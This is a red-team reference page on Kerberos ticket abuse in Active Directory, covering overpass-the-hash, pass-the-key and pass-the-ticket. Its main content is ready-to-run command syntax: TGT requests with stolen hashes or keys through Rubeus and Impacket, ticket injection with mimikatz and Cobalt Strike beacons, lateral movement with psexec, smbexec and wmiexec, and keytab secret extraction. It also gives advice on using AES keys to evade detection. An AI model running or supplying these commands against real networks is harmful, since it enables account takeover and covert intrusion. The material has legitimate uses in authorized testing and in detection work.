# Exploitation - Kerberos tickets usage

### Overview

`Kerberos` is an authentication protocol used within Active Directory that rely on the use of tickets to identify users and grant access to domain resources. To do so, `Kerberos` implements two type of tickets, issued by two distinct services of the `Key Distribution Center (KDC)`:

* `Ticket-Granting Ticket (TGT)`, obtained from the `Authentication Service (AS)`.
* `service tickets`, obtained from the `Ticket-Granting Service (TGS)`.

A valid `TGT` is necessary in order to request `service tickets`, which in turn grant access to service accounts (user or machine domain accounts that have a `ServicePrincipalName (SPN)`).

`Overpass-the-hash` / `Pass the Key (PTK)` are the actions of using, respectively, the `NTLM` hash or the `Kerberos` secrets (`RC4` key, corresponding to the `NTLM hash`, or the `AES 128/256 bits` keys) of an user to request a `Kerberos` `TGT`.

`Pass-the-ticket (PtT)` is the action of directly using `Kerberos` tickets (`TGTs` or `service tickets`) with out a request to the `KDC`. On Windows systems, the tickets can be directly injected in the current logon session while on Linux systems `Kerberos` tickets file can be provided to utilities supporting the `Kerberos` authentication.

### Overpass-the-hash / Pass the Key (PTK)

**Plaintext password to RC4 / AES keys**

Knowledge of an account `Kerberos` keys allows to control which ticket encryption type will be used by the `KDC` when overpassing-the-hash / passing the key. As `AES` is generally used by the `KDC` for legitimate `Kerberos` authentication (since `Windows Server 2008`), using the `AES` keys may help blending in normal authentication traffic.

The tickets encryption type are logged in the `Ticket Encryption Type` field of the Windows `Security` events `4768: A Kerberos authentication ticket (TGT) was requested` and `4769: A Kerberos service ticket was requested`.

Note that the Kerberos `RC4` key corresponds to the `NTLM` hash of an account.

The `Ticket Encryption Type` field may take the following values:

| Value  | Encryption type           | Note                                                                    |
| ------ | ------------------------- | ----------------------------------------------------------------------- |
| `0x1`  | `DES-CBC-CRC`             | Disable by default since `Windows Server 2008 R2` / `Windows 7`.        |
| `0x3`  | `DES-CBC-MD5`             | Disable by default since `Windows Server 2008 R2` / `Windows 7`.        |
| `0x11` | `AES128-CTS-HMAC-SHA1-96` | Introduced in `Windows Server 2008` / `Windows Vista`.                  |
| `0x12` | `AES256-CTS-HMAC-SHA1-96` | Introduced in `Windows Server 2008` / `Windows Vista`.                  |
| `0x17` | `RC4-HMAC`                | Default encryption type before `Windows Server 2008` / `Windows Vista`. |
| `0x18` | `RC4-HMAC-EXP`            | Default encryption type before `Windows Server 2008` / `Windows Vista`. |

The `DSInternals` PowerShell `ConvertTo-NTHash` and `ConvertTo-KerberosKey` cmdlets can be used to convert a plaintext password to, respectively, `RC4` and `AES128` / `AES256` keys.

```bash
$CleartextPassword = ConvertTo-SecureString -String '<PASSWORD>' -AsPlainText -Force

# Returns the NTLM hash / RC4 key from a given password.
ConvertTo-NTHash -Password $CleartextPassword

# Returns the Kerberos keys (AES256, AES128, DES) and from a given password.
# The Kerberos keys are derived from a salt based on the Kerberos realm and account name.
# For user account: <SALT> = uppercase Kerberos realm + case sensitive SamAccountName. Example: LAB.ADAdministrator.
# For machine account: <SALT> =  Kerberos realm + host keyword + lowercase SamAccountName with out $ + lowercase Kerberos realm. Example: LAB.ADhostdc1.lab.ad
ConvertTo-KerberosKey -Password $CleartextPassword -Salt '<SALT>'
```

Additionally, `Rubeus`'s `asktgt` module supports `TGT` requests using a password, and the encryption type can then be specified using the `/enctype` option.

**TGT Kerberos tickets requests**

*Knowing any user's Kerberos secret.*

The `Rubeus`'s `asktgt` module or the `Impacket`'s `getTGT.py` Python script can be used to request `TGTs` using an user's password, `NTLM` hash (equivalent to the `Kerberos` `RC4` key), or `Kerberos` secrets.

If `RC4_HMAC-MD5` is disabled at a domain level, requesting `Kerberos` `TGT` will require either the account password or its `AES128` or `AES256` key. Trying to request a `TGT` using `RC4` key in such environment will result in a `KDC_ERR_ETYPE_NOTSUPP` error.

```bash
# ptt: Directly injects the received TGT in the current logon session. The current logon session TGT will be overwritten.
# In any case, the received TGT, encoded in base64, will be printed (KRB-CRED format).
Rubeus.exe asktgt /user:<USERNAME> /password:<PASSWORD> [/enctype:<rc4 | aes128 | aes256>] /ptt
Rubeus.exe asktgt /user:<USERNAME> [/rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt
Rubeus.exe asktgt /dc:<DC_IP | DC_HOSTNAME> /domain:<DOMAIN> /user:<USERNAME> [/password:<PASSWORD> | /rc4:<NTLM_HASH> | /aes128:<AES_128BITS_KEY> | /aes256:<AES_256BITS_KEY>] /ptt

# The received TGT will be exported to a file in the credential cache format.
python getTGT.py [-dc-ip <DC_IP>] <DOMAIN>/<USERNAME>:[<PASSWORD>]
python getTGT.py [-dc-ip <DC_IP>] -hashes ":<NTLM>" <DOMAIN>/<USERNAME>
# Recommended if possible in a covert scenario, as the AES keys are used by default by Microsoft.
python getTGT.py [-dc-ip <DC_IP>] -aesKey <AES_128BITS_KEY | AES_256BITS_KEY> <DOMAIN>/<USERNAME>
```

*Using the current user's security context.*

A `TGT` can be retrieved for the current user using its security context with out the need of knowing the user's credentials.

This is possible due to the way `Kerberos` `unconstrained delegations` are implemented: the user must provide a `TGT` to the principal trusted for the `unconstrained delegation` (such as the Domain Controller machine accounts). As the current user's `TGT` cannot be forwarded directly (as it may be linked to the current user IP address), a request for a `forwardable` (`forwarded` attribute set) `TGT` is requested by the client. This result in the retrieval client-side of an `AP-REQ` message containing a `KRB_CRED` struct with the `TGT` (encrypted with the key sent by the `KDC` for the session).

The `Rubeus`'s `tgtdeleg` or `Kekeo`'s `tgt::deleg` modules can be used to conduct this technique and retrieve a `TGT` for the current user:

```bash
# If an SPN trusted for unconstrained delegation cannot be automatically found by Rubeus, it can be specified using the /target:<SPN> option.
Rubeus.exe tgtdeleg

kekeo # tgt::deleg
```

*Automated ticket extraction from Rubeus output.*

If needed, the retrieved `Kerberos` tickets can be automatically extracted from `Rubeus` output (for example from the `tgtdeleg` module) using the PowerShell script below:

```bash
$tgtdeleg_res = Invoke-Rubeus -Command "tgtdeleg"
$tmp = $tgtdeleg_res -replace "`t|`n|`r",""
$tmp -match "ticket.kirbi\):(?<content>.*)"

$TGT = $matches['content'] -replace '\s',''
```

### Pass-the-ticket (PtT)

**\[Windows / Linux] Direct requests of service tickets**

On Windows, the `Rubeus`'s `asktgs` module can be used to request `service tickets` using a valid `TGT`:

```bash
# ptt: Directly injects the received service ticket in the current logon session.

Rubeus.exe asktgs /ticket:<TGT_BASE64 | TGT_KIRBI_FILE_PATH> /service:<TARGET_SERVICE_SPN | TARGET_SERVICES_SPN> /ptt
```

**\[Windows] Injection into the current session**

`Kerberos` tickets, in the credential format `KRB_CRED` (`KIRBI` file), can be injected into the current logon session using `mimikatz` or `Rubeus`.

Both utilities leverage the Windows `LsaCallAuthenticationPackage/KerbSubmitTicketMessage` API and will overwrite the current logon session tickets.

```bash
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# Injects into memory a ticket in the KRB_CRED format.
Rubeus.exe ptt /ticket:<TICKET_BASE64 | TICKET_BASE64_FILE_PATH | TICKET_KIRBI_FILE_PATH>
mimikatz.exe "kerberos::ptt <TICKET_KIRBI_FILE_PATH>" exit
```

`Cobalt Strike` 's `make_token` and `kerberos_ticket_use` `beacon` commands may be used to inject tickets with out overwriting the ones cached in the current logon session:

```
# Requires elevated privileges.
beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Does not requires a elevated privileges. Create a new beacon in a sacrificial process to protect the current beacon logon session tickets.
# The use of the make_token command is still necessary as both beacon share the same logon session.
original_beacon> make_token <DOMAIN>\<USERNAME> "PasswordNotRequired"
original_beacon> run <C:\Windows\System32\cmd.exe | BINARY_PATH>
original_beacon> ps
original_beacon> inject <NEW_PROCESS_PID> <x86 | x64> <LISTENER>
new_beacon> kerberos_ticket_use <C2_TICKET_KIRBI_FILE_PATH>

# Reverts the logon session created using the make_token command, so the original logon session's tickets are restored.
beacon | original_beacon> rev2self
```

The `Kerberos` tickets cached in the current logon session can be listed using the Windows built-in `klist` utility, `Rubeus`'s `klist` module, or `mimikatz`'s `kerberos::list` command:

```bash
klist

Rubeus.exe klist

mimikatz.exe "kerberos::list" exit
mimikatz.exe "kerberos::list /export" exit
```

**\[Linux] Credential cache (ccache)**

`Kerberos` tickets can be converted from the `KRB_CRED` format to the `credential cache (ccache)` format to be used with, among others, the `Impacket`'s Python utilities. If a `TGT` is provided, the `Impacket`'s utilities will try to obtain the necessary service tickets through request to the `KDC`.

Note that `impackets` utilities can only make use of a single `Kerberos tickets` at a time, which limits the possible usage of the utilities with `service tickets`.

Refer to the `[Windows] Lateral movements` for more information on how to leverage the `Impacket` suite for lateral movements in a Windows environment.

```bash
# If necessary, decodes a ticket in base64 (from Rubeus for example) to the KRB_CRED format.
cat <TICKET_BASE64_FILE_PATH> | tr -d "[:space:]" | base64 --decode > <TICKET_KIRBI_FILE_PATH>

# If necessary, converts the TGT from KRB_CRED to ccache.
ticketConverter.py  <TICKET_KIRBI_FILE_PATH> <TICKET_CCACHE_FILE_PATH>

# Loads the ticket from the specified file.
export KRB5CCNAME=<TICKET_CCACHE_FILE_PATH>

# Loads all the tickets in the specified directory. The tickets filename must follow the filename tkt*.
# Unfortunately loading Kerberos tickets from a directory is not a wildy supported feature.
export KRB5CCNAME=DIR:<TICKETS_CCACHE_DIR_PATH>

# Usage of the TGT through Impacket's utilities.
psexec.py -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
smbexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
wmiexec.py [-service-name <SERVICE_NAME>] -k -no-pass -dc-ip <DC_IP> <HOSTNAME> [<COMMAND> <COMMAND_ARGS>]
[...]
```

The `klist` utility form the `krb5-user` (`Debian` based distro) or `krb5` package may be used to list the current tickets:

```bash
klist -A
```

**\[Linux / Windows] Keytab**

`Keytab` are files that contain one or multiple `key entries`. Each entry is composed of a principal (`Kerberos` realm and account name) and an associated `Kerberos` secret (`RC4` or `AES 128 / 256 bits` keys), stored encrypted. `Keytab` files can be used to request `Kerberos` tickets without the need of reentering a password, and are thus particularly useful for service accounts interacting with a directory service from non-Windows systems. `Keytab` files can be retrieved, for example, from Linux systems with service accounts using the Kerberos protocol.

The [`keytabextract.py`](https://github.com/sosdave/KeyTabExtract) Python script can be used to extract and decrypt the `Kerberos` secrets, `RC4` (corresponding to the `NTLM` hash) or `AES` keys, from a given `keytab` file:

```
python3 keytabextract.py <KEY_TAB>
```

Additionally, the `kinit`, `ktutil` and `klist` utilities form the `krb5-user` (`Debian` based distro) or `krb5` package may be used to interact with `keytab` files. Note that a `keytab` file is fully independent of the computer it's been created on, its filename, and its location in the file system.

```bash
# Lists the key entries' principal contained in the specified keytab file.
klist -k <KEY_TAB>

# Requests a Kerberos ticket using the specified keytab file.
# The retrieved ticket will be placed in cache and stored on the local file system in the ccache format (path can be retrieved using klist).
# The KDC (of the realm from the keytab) must be reachable from the system on which the command is executed.
# The <PRINCIPAL> format example: '<ACCOUNT_NAME>@<FULLY_QUALIFIED_DOMAIN>'.
kinit -k -t <KEY_TAB> '<PRINCIPAL>'
```

***

### References

<https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_cont/SSTIC2014-Article-secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_contre-attaque-bordes\\_2.pdf> <https://www.ssi.gouv.fr/uploads/IMG/pdf/Aurelien\\_Bordes\\_-_Secrets\\_d\\_authentification\\_episode\\_II\\_Kerberos\\_contre-attaque_--\\_planches.pdf> <https://remivernier.com/index.php/2018/07/07/kerberos-exploration/> <https://docs.microsoft.com/en-us/archive/blogs/openspecification/understanding-microsoft-kerberos-pac-validation> <https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It.pdf> <https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html> <https://gist.github.com/HarmJ0y/dc379107cfb4aa7ef5c3ecbac0133a02> <https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a> <https://github.com/GhostPack/Rubeus> <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-KerberosKey.md> <https://github.com/MichaelGrafnetter/DSInternals/blob/master/Documentation/PowerShell/ConvertTo-NTHash.md>
